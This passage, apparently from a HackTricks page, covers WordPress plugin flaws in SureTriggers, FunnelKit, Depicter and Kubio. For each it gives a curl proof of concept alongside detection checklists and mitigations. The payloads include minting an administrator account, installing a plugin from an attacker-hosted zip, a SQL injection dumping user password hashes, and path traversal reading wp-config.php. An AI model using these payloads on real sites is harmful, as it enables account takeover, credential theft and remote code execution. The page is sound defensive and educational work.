PoC – generare una connection key e usarla
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
Perché è sfruttabile
- Route REST sensibile protetta solo da una prova d'identità a bassa entropia (username) o da permission_callback mancante
- Nessun controllo delle capability; la chiave mintata viene accettata come bypass universale
Checklist di rilevamento
- Usa grep sul codice del plugin per register_rest_route(..., [ 'permission_callback' => '__return_true' ])
- Qualsiasi route che emette token/chiavi basandosi su identità fornite nella request (username/email) senza collegarle a un utente autenticato o a una capability
- Cerca route successive che accettano il token/chiave mintata senza controlli di capability lato server
Mitigazioni
- Per qualsiasi route REST privilegiata: richiedere un permission_callback che applichi current_user_can() per la capability richiesta
- Non generare chiavi a lunga durata basate sull'identità fornita dal client; se necessario, emettere token a breve durata, legati all'utente, dopo autenticazione e riaffermare le capability all'uso
- Validare il contesto utente del chiamante (wp_set_current_user is not sufficient alone) e respingere le richieste dove !is_user_logged_in() || !current_user_can(
)
Nonce gate misuse → installazione arbitraria di plugin non autenticata (FunnelKit Automations ≤ 3.5.3)
Nonces prevent CSRF, not authorization. Se il codice tratta il superamento del nonce come via libera e poi salta i controlli di capability per operazioni privilegiate (es., install/activate plugins), attaccanti non autenticati possono soddisfare un requisito di nonce debole e raggiungere RCE installando un plugin backdoored o vulnerabile.
- Percorso vulnerabile: plugin/install_and_activate
- Difetto: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
- Impatto: compromissione completa tramite installazione/attivazione arbitraria di plugin
PoC (la forma dipende dal plugin; solo illustrativo)
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
Detection checklist
- Gestori REST/AJAX che modificano plugin/theme con solo wp_verify_nonce()/check_admin_referer() e senza capability check
- Qualsiasi percorso di codice che imposta $skip_caps = true dopo la validazione del nonce
Hardening
- Tratta sempre i nonces solo come token CSRF; applica i controlli di capability indipendentemente dallo stato del nonce
- Richiedi current_user_can('install_plugins') e current_user_can('activate_plugins') prima di raggiungere il codice dell'installer
- Rifiuta accessi non autenticati; evita di esporre azioni AJAX nopriv per flussi privilegiati
Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1)
Multiple depicter-* actions accettavano il parametro s (search) e lo concatenavano in query SQL senza parametrizzazione.
- Parameter: s (search)
- Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization
- Impact: esfiltrazione del database (utenti, hash), movimento laterale
PoC
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
Checklist di rilevamento
- Grep per i depicter-* action handlers e l'uso diretto di $_GET['s'] o $_POST['s'] in SQL
- Controllare le query personalizzate passate a $wpdb->get_results()/query() che concatenano s
Mitigazioni
- Usare sempre $wpdb->prepare() o i placeholder di wpdb; rifiutare metacaratteri inaspettati lato server
- Aggiungere una allowlist stretta per s e normalizzare al charset/lunghezza attesi
Inclusione locale di file non autenticata via percorso template/file non validato (Kubio AI Page Builder ≤ 2.5.1)
Accettare percorsi controllati dall'attaccante in un parametro template senza normalizzazione/contenimento permette la lettura di file locali arbitrari, e talvolta l'esecuzione di codice se file PHP/log includibili vengono inclusi in fase di runtime.
- Parameter: __kubio-site-edit-iframe-classic-template
- Difetto: nessuna normalizzazione/allowlisting; traversal permesso
- Impatto: esposizione di segreti (wp-config.php), potenziale RCE in ambienti specifici (log poisoning, includable PHP)
PoC – leggere wp-config.php
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
Checklist di rilevamento
- Qualsiasi handler che concatena i percorsi di richiesta in sink di include()/require()/read senza containment tramite realpath()
- Cercare traversal patterns (../) che raggiungono al di fuori della directory templates prevista
Mitigazioni
- Forzare l'uso di template consentiti (allowlisted); risolvere con realpath() e richiedere str_starts_with(realpath(file), realpath(allowed_base))
- Normalizzare gli input; rifiutare sequenze di traversal e path assoluti; usare sanitize_file_name() solo per nomi di file (non per percorsi completi)
Riferimenti
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation – Patchstack DB entry
- Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme
- Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them
- OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)
- FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)
- Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)
- Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.